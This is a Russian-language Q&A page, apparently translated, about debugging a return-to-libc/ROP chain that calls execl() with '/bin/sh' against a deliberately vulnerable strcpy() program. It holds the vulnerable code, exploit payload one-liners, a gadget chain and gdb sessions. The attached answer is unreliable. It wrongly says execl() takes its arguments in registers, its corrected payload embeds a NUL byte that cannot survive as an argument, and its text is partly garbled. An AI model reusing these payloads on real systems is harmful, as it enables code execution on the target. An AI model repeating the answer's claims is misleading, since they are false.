ROP выполняет оболочку с execl() – /bin/sh: 0: Не удается открыть

Вопрос или проблема

ROP выполняет оболочку с execl() – /bin/sh: 0: Не удается открыть

Уязвимая программа C для переполнения буфера стека требует 112 байт для достижения адреса возврата вызывающей функции. Здесь Strcpy() является уязвимой функцией.

void f(char *name){
  char buf[100];
  strcpy(buf, name);
}

void main(int argc, char *argv[]){
  f(argv[1]);
} 

Пытаемся записать ROP-гирлянды для выполнения оболочки /bin/sh с помощью execl().
Эксплойт будет следующим:

python -c 'print 112*"\x90" + "addr. execl()" + "addr. exit()" + "addr. /bin/sh" + "addr. /bin/sh"'  

Из gdb были найдены следующие адреса (ASLR отключен для теста):

(gdb) print execl
      $1 =  0xb7eb7b60 <__GI_execl>
(gdb) print exit
      $2 =  0xb7e359e0 <__GI_exit>

(gdb) info proc map
 ...(вывод опущен)
(gdb) find 0xb7e07000,0xb7fbb000,"/bin/sh"
      0xb7f62b0b
      1 найденный паттерн.
(gdb) x/s 0xb7f62b0b
      0xb7f62b0b:   "/bin/sh"

(gdb) run $(python -c 'print 112*"\x90" + "\x60\x7b\xeb\xb7" + "\xe0\x59\xe3\xb7" + "\x0b\x2b\xf6\xb7" + "\x0b\x2b\xf6\xb7"')
      Запуск программы: /home/marco/asm/execve/bypass_aslr/rop/prove/main $(python -c 'print 112*"\x90" + "\x60\x7b\xeb\xb7" + "\xe0\x59\xe3\xb7" + "\x0b\x2b\xf6\xb7" + "\x0b\x2b\xf6\xb7"')
      процесс 3161 выполняет новую программу: /bin/dash
      /bin/sh: 0: Не удается открыть UWVS��������
      [Вторичный 1 (процесс 3161) завершился с кодом 0177]

Тот же тест с использованием system() дает оболочку.

Я не понимаю, если execl() успешен и заменяет ли он текущий образ процесса.

Платформа: Ubuntu 16.04 – 32 бита.

ОБНОВЛЕНИЕ:
Я добавил несколько гаджетов к эксплойту и получил другой результат. Вкратце, я добавил gets() для записи байта NULL в качестве третьего аргумента для передачи в execl(). Эксплойт будет записывать стек в следующем порядке:

addr. exit()
фейковый байт (NULL будет записан здесь)  
addr. /bin/sh
addr. /bin/sh
addr. pop\pop\pop\ret
addr. execl()
addr. где записать NULL байт
addr. pop\ret
addr. gets()        <-- ESP будет здесь, когда придет время вернуться к вызывающему            
112 NOP

Из gdb я запускаю эксплойт, ввожу “новая строка”, так что gets() записывает NULL в предоставленный адрес, и результат будет:

[Вторичный 1 (процесс 2793) завершился нормально]

На этот раз без ошибок, но снова без оболочки.

EDIT2: это стек после выполнения gets() и перед execl().

Команды под gdb, которые я использовал для обследования стека:

(gdb) b 10     --> это для остановки после strcpy() в .c коде
  Точка останова 1 на 0x8048497: файл main.c, строка 10.

(gdb) run $(python -c 'print 112*"\x90" + "\xe0\x83\xe6\xb7" + "\x6e\xd0\xe2\xb7" + "\xf8\xf5\xff\xbf" + "\x80\x9a\xeb\xb7" + "\x4f\x33\xef\xb7" + "\x0b\x4a\xf6\xb7" + "\x0b\x4a\xf6\xb7" + "\x42\x42\x42\x42" + "\xd0\x79\xe3\xb7"')

  Запуск программы: /home/marco/rop/main $(python -c 'print 112*"\x90" + "\xe0\x83\xe6\xb7" + "\x6e\xd0\xe2\xb7" + "\xf8\xf5\xff\xbf" + "\x80\x9a\xeb\xb7" + "\x4f\x33\xef\xb7" + "\x0b\x4a\xf6\xb7" + "\x0b\x4a\xf6\xb7" + "\x42\x42\x42\x42" + "\xd0\x79\xe3\xb7"')

 Точка останова 1, func (name=0xb7e2d06e <__ctype_get_mb_cur_max+30> "X\303U\350\343\272\017") в main.c:10

 (gdb) b *execl
  Точка останова 2 на 0xb7eb9a80: файл execl.c, строка 31.

 (gdb) c
  Продолжение.

  Точка останова 2, __GI_execl (path=0xb7f64a0b "/bin/sh", arg=0xb7f64a0b "/bin/sh") в execl.c:31
  31    execl.c: Файл не существует.

 (gdb) x/x $esp
  0xbffff5ec:   0xb7ef334f

 (gdb) x/x $esp+4
  0xbffff5f0:   0xb7f64a0b

 (gdb) x/x $esp+8
  0xbffff5f4:   0xb7f64a0b

 (gdb) x/4x $esp+12
  0xbffff5f8:   0x00    0x42    0x42    0x42

 (gdb) x/s $esp+12
  0xbffff5f8:   ""

Обратите внимание, этот тест был выполнен с другой Ubuntu 16.04, и адреса теперь:

"\xe0\x83\xe6\xb7" +   -> gets()
"\x6e\xd0\xe2\xb7" +   -> pop/ret
"\xf8\xf5\xff\xbf" +   -> адрес, где записать NULL
"\x80\x9a\xeb\xb7" +   -> execl()
"\x4f\x33\xef\xb7" +   -> pop/pop/pop/ret
"\x0b\x4a\xf6\xb7" +   -> addr. /bin/sh  
"\x0b\x4a\xf6\xb7" +   -> addr. /bin/sh
"\x42\x42\x42\x42" +   -> фейковый адрес для перезаписи
"\xd0\x79\xe3\xb7"     -> exit()

Я думаю, что вы делаете что-то не так. Аргументы системного вызова передаются в ebx, ecx, edx, esi, edi. Не в стеке, как в cdecl.

Проверьте это: https://www.exploit-db.com/docs/english/28479-return-oriented-programming-(rop-ftw).pdf

Ответ или решение

Для решения проблемы, связанной с выполнением оболочки через функцию execl() при использовании ROP (Return-Oriented Programming), необходимо учесть несколько аспектов, касающихся передачи аргументов в функции и особенностей работы с системными вызовами в Linux.

Проблема

Вы получаете ошибку /bin/sh: 0: Can't open при попытке запустить оболочку через execl(), несмотря на то что system() работает корректно. Это может быть связано с неправильной передачей аргументов в execl() и тем, что execl() ожидает аргументы в определённом формате.

Подход к решению

Функция execl() передаёт аргументы по следующему принципу:

  1. Первый аргумент — путь к исполняемому файлу (например, /bin/sh).
  2. Второй аргумент — имя программы, как оно должно представляться в процессе (обычно тоже /bin/sh).
  3. Третий и последующие аргументы — дополнительные аргументы, заканчивающиеся нулевым указателем (NULL).

Исправления в вашем подходе

Вы упомянули, что использовали gets() для записи нулевого байта, что может быть правильным, но также необходимо убедиться, что адреса для аргументов передаются правильно. Поскольку в архитектуре x86 системные вызовы передаются с использованием регистров (ebx, ecx, edx и т.д.), не стоит полагаться только на стек для передачи аргументов.

Порядок аргументов в стеке

Ваша текущая расстановка адресов в стеке может выглядеть следующим образом:

  1. Адрес завершения работы программы (exit())
  2. Нулевой байт (что вы делаете с помощью gets())
  3. Адрес /bin/sh
  4. Адрес снова на /bin/sh (это нужно, чтобы соответствовать ожиданиям execl())
  5. Возврат к следующему адресу, который может быть execl().

Модифицированный пример

Вот как может выглядеть ваш новый вызов execl() с использованием правильной передачи аргументов:

python -c 'print 112*"\x90" + "\xe0\x83\xe6\xb7" + "\x6e\xd0\xe2\xb7" + "\xf8\xf5\xff\xbf" + "\x80\x9a\xeb\xb7" + "\x4f\x33\xef\xb7" + "\x0b\x4a\xf6\xb7" + "\x0b\x4a\xf6\xb7" + "\x00" + "\xd0\x79\xe3\xb7"'

В этом коде необходимо убедиться, что шестнадцатеричное представление нулевого байта используется правильно. Также необходимо проверить, что все адреса корректны и соответствуют компиляции программы.

Проверка с помощью GDB

Вы можете точно видеть, какие значения стека передаются в execl() с помощью отладчика GDB. Убедитесь, что все аргументы выглядят отлично и их типы соответствуют ожидаемым execl:

(breakpoint)
(gdb) c
(breakpoint)
(gdb) x/6x $esp
# Проверьте, что адреса и нулевые байты находятся на ожидаемых позициях

Заключение

Если вы выполните эти шаги и убедитесь, что порядок аргументов в execl() корректен, он должен выполниться без ошибок, и вы получите оболочку. Метод system() работает, потому что он сам обрабатывает аргументы в другом формате, в то время как execl() требует более строгого подхода с regards к регистрам обработки аргументов.

Оцените материал
Добавить комментарий

Капча загружается...